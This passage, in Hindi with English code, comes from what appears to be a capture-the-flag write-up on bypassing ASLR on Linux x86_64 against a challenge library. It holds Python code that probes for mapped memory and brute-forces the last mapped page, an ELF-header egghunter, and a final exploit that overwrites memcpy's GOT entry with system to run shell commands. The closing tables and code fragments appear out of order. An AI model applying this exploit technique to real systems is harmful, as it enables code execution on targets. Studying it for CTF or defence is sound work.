इस स्टेप साइज़ को देखते हुए, हम `start=0x7f0000000000` से `end=0x800000000000` तक केवल `end - start / size` = 256 क्वेरीज़ के साथ स्कैन कर सकते हैं।```py
start = 0x7f0000000000
end = 0x800000000000
step = 0x100000000 # 4gb
isMapped = False
j = 0xff
while isMapped == False:
leakAddr = start + j*step
isMapped = (isAddrMapped(leakAddr, 1000 + j))
j -= 1
At this point, हमारे पास leakAddr है जो एक मैप किया गया पता है जैसे: 0x7fXX00000000, इस मामले में, leakAddr = 0x7fe300000000.
अब, यदि हम saelo तकनीक का अनुसरण करना चाहते हैं, तो हमें निचली और ऊपरी सीमाएँ खोजने के लिए 0x7fXX00000000 - 0x7fXXffffffff की रेंज पर बाइनरी खोज करनी चाहिए, समस्या यह है कि उस रेंज में कुछ छेद हैं, इसलिए बाइनरी खोज कई बार विफल हो जाती है।
आप स्वयं जाँच सकते हैं इस स्क्रिप्ट से:``` RANGE SIZE
0x00007f7544000000 - 0x00007f763c000000 0xf8000000 SMALL GAP 0x00caa000 0x00007f763ccaa000 - 0x00007f763e358000 0x016ae000
That small gap between 0x00007f763c000000 और 0x00007f763ccaa000 के बीच का छोटा गैप बाइनरी सर्च को गड़बड़ कर देता है, बेशक यह अभी भी संभव है, लेकिन मुझे एक आसान तरीका मिला।
### अवलोकन
हम अंतिम मैप किया गया पता प्राप्त करना चाहते हैं, क्योंकि वहीं पर लाइब्रेरीज़ मैप होती हैं।
उदाहरण के लिए, लाइब्रेरीज़ के लिए उन मैपिंग्स को देखें:```
7fe3d6a1e000-7fe3d6a1f000 r--p 00000000 fe:01 1445947 /challenge/libkylezip.so
7fe3d6a1f000-7fe3d6a20000 r-xp 00001000 fe:01 1445947 /challenge/libkylezip.so
7fe3d6a20000-7fe3d6a21000 r--p 00002000 fe:01 1445947 /challenge/libkylezip.so
7fe3d6a21000-7fe3d6a22000 r--p 00002000 fe:01 1445947 /challenge/libkylezip.so
7fe3d6a22000-7fe3d6a23000 rw-p 00003000 fe:01 1445947 /challenge/libkylezip.so
7fe3d6a23000-7fe3d6a25000 rw-p 00000000 00:00 0
7fe3d6a25000-7fe3d6a26000 r--p 00000000 fe:01 2761539 /lib/x86_64-linux-gnu/ld-2.33.so
7fe3d6a26000-7fe3d6a4d000 r-xp 00001000 fe:01 2761539 /lib/x86_64-linux-gnu/ld-2.33.so
7fe3d6a4d000-7fe3d6a57000 r--p 00028000 fe:01 2761539 /lib/x86_64-linux-gnu/ld-2.33.so
7fe3d6a57000-7fe3d6a59000 r--p 00031000 fe:01 2761539 /lib/x86_64-linux-gnu/ld-2.33.so
7fe3d6a59000-7fe3d6a5b000 rw-p 00033000 fe:01 2761539 /lib/x86_64-linux-gnu/ld-2.33.so
हम इस तरकीब से पता 7fe3d6a5b000 - 0x1000 खोज सकते हैं:
lastMappedPage = 0x7fe3d6a5a000
हम एक बार में आधा बाइट ब्रूटफोर्स कर रहे हैं, सबसे खराब स्थिति के लिए 165 = 80 क्वेरीज़।```py def linearFindLargest(base, increment, idstart): for i in range(0, 16)[::-1]: print (f"{base + incrementi:#x}", end='\t|\t') if isAddrMapped(base + incrementi, idstart+i): print ('Yes') return iincrement print ('No') raise Exception("linearFindLargest should not fail")
lastMappedPage = leakAddr lastMappedPage += linearFindLargest(lastMappedPage, 0x10000000, 40000) lastMappedPage += linearFindLargest(lastMappedPage, 0x1000000, 40100) lastMappedPage += linearFindLargest(lastMappedPage, 0x100000, 40200) lastMappedPage += linearFindLargest(lastMappedPage, 0x10000, 40300) lastMappedPage += linearFindLargest(lastMappedPage, 0x1000, 40400) print (f"{lastMappedPage = :#x}")
## 4.6 एक्सप्लॉइट
आखिरकार, हमें मेमोरी मैपिंग के बारे में वह सब कुछ पता चल गया है जिसकी हमें आवश्यकता थी, अब केवल write what where प्रिमिटिव को कोड निष्पादन में बदलने की बात है।
कोड निष्पादन प्राप्त करने के लिए मैंने libkyle.so के memcpy@got एंट्री को system@libc से अधिलेखित कर दिया।
### libkyle बेस प्राप्त करें
भाग्य से, हमारे लिए libc बेस और libkyle.so बेस lastMappedPage से एक स्थिर ऑफसेट पर होते हैं, मुझे नहीं पता था कि ऐसा है, इसलिए मैंने एक egghunter लिखा जो `\x7fELF` \(ELF निष्पादन योग्य फ़ाइलों का हेडर\) खोजता है, जो अंततः उपयोगी नहीं रहा।```py
# Scan backwards looking for b'\x7fELF'
i = 0
numElf = 0
while numElf != 2:
theAddr = lastMappedPage-0x1000*i
hdr = readFromAddr(theAddr, 4, 40500+i)
print(f"{i:02d}) Elf in {theAddr:#x}? {hdr.hex()}")
if hdr == b'\x7fELF':
numElf += 1
print (f"found elf at {theAddr:#x}")
if i > 70:
print ("Exploit failed, upper bound address was wrong")
exit(1)
i += 1
सौभाग्य से, memcpy@got को system से ओवरराइट करना flag पाने और उस आकर्षक इनाम का दावा करने के लिए पर्याप्त था :)```py # exp is a CompressedFile which: # - writes libc.system to memcpy_got # - calls memcpy(cmd, 0, 0) -> system(cmd) cmd = b"ls;cat flag.txt;\x00" exp = CompressedFile(24)
exp.seek((memcpy_got - OUT_ADDR)&M64)
# out=memcpy_got
for b in p64(libc.symbols['system']):
exp.write(bytes([b]))
# out=memcpy_got+8
# memcpy(out, out-off, size)
# system(out)
in_addr_off = len(exp.content)
exp.content += cmd
exp.seek((IN_ADDR + in_addr_off - (memcpy_got + 8))&M64)
exp.memcpy(0, 0) # system(cmd)
uploadFile(exp.content, 123001)
# profit
getFile(123001)
## 4.7 फ़्लैग!
आप एक्सप्लॉइट [यहाँ](https://github.com/nick0ve/how-to-bypass-aslr-on-linux-x86_64/blob/HEAD/resources/x.py) पा सकते हैं।
<p align="center"><img src="https://assets.kitploit.com/production/public/readmes/48660/fbf98cc42c41c4487283d3545ab1f451ddcac7f1c6210e3d211ff5e04f63fef0.png"></p><br/>
एक्सप्लॉइट का 100% विश्वसनीय संस्करण भी [यहाँ](https://github.com/nick0ve/how-to-bypass-aslr-on-linux-x86_64/blob/HEAD/resources/reliable_exploit.py) उपलब्ध है।
## 5. निष्कर्ष
आशा है आपको राइटअप पसंद आया होगा, अगर कुछ पर्याप्त स्पष्ट नहीं था तो मुझसे संपर्क करने में संकोच न करें [@nick0ve](https://twitter.com/nick0ve) :)
| mem | 16tb सीमा पार? |
|---|
| 0x7fb03b55e010 | नहीं |
| 0x7fa03b55d010 | नहीं |
| 0x7f903b55c010 | नहीं |
| 0x7f803b55b010 | नहीं |
| 0x7f703b55a010 | नहीं |
| 0x7f603b559010 | नहीं |
| 0x7f503b558010 | नहीं |
| 0x7f403b557010 | नहीं |
| 0x7f303b556010 | नहीं |
| 0x7f203b555010 | नहीं |
| 0x7f103b554010 | नहीं |
| 0x7f003b553010 | नहीं |
| 0x7ef03b552010 | हाँ |
| 0x7ee03b551010 | हाँ |
| 0x7ed03b550010 | हाँ |
| 0x7ec03b54f010 | हाँ |
if (fstat(fd, &sb) != 0) { return NULL; }
/* mmap the file in for performance, or something... idk kyle made me write this */ // void *mem = mmap(NULL, sb.st_size, PROT_READ, MAP_PRIVATE, fd, 0);
M64 = (1<<64)-1 # Maximum 64bit value def get_off(out: int, target: int): return (target-out) & M64
print ('{:#x}'.format(get_off(0xffffffff, 0)))
| पता | क्या पता मैप हुआ है? |
|---|
| 0x7fe3f0000000 | नहीं |
| 0x7fe3e0000000 | नहीं |
| 0x7fe3d0000000 | हाँ |
| 0x7fe3df000000 | नहीं |
| 0x7fe3de000000 | नहीं |
| 0x7fe3dd000000 | नहीं |
| 0x7fe3dc000000 | नहीं |
| 0x7fe3db000000 | नहीं |
| 0x7fe3da000000 | नहीं |
| 0x7fe3d9000000 | नहीं |
| 0x7fe3d8000000 | नहीं |
| 0x7fe3d7000000 | नहीं |
| 0x7fe3d6000000 | हाँ |
| 0x7fe3d6f00000 | नहीं |
| 0x7fe3d6e00000 | नहीं |
| 0x7fe3d6d00000 | नहीं |
| 0x7fe3d6c00000 | नहीं |
| 0x7fe3d6b00000 | नहीं |
| 0x7fe3d6a00000 | हाँ |
| 0x7fe3d6af0000 | नहीं |
| 0x7fe3d6ae0000 | नहीं |
| 0x7fe3d6ad0000 | नहीं |
| 0x7fe3d6ac0000 | नहीं |
| 0x7fe3d6ab0000 | नहीं |
| 0x7fe3d6aa0000 | नहीं |
| 0x7fe3d6a90000 | नहीं |
| 0x7fe3d6a80000 | नहीं |
| 0x7fe3d6a70000 | नहीं |
| 0x7fe3d6a60000 | नहीं |
| 0x7fe3d6a50000 | हाँ |
| 0x7fe3d6a5f000 | नहीं |
| 0x7fe3d6a5e000 | नहीं |
| 0x7fe3d6a5d000 | नहीं |
| 0x7fe3d6a5c000 | नहीं |
| 0x7fe3d6a5b000 | नहीं |
| 0x7fe3d6a5a000 | हाँ |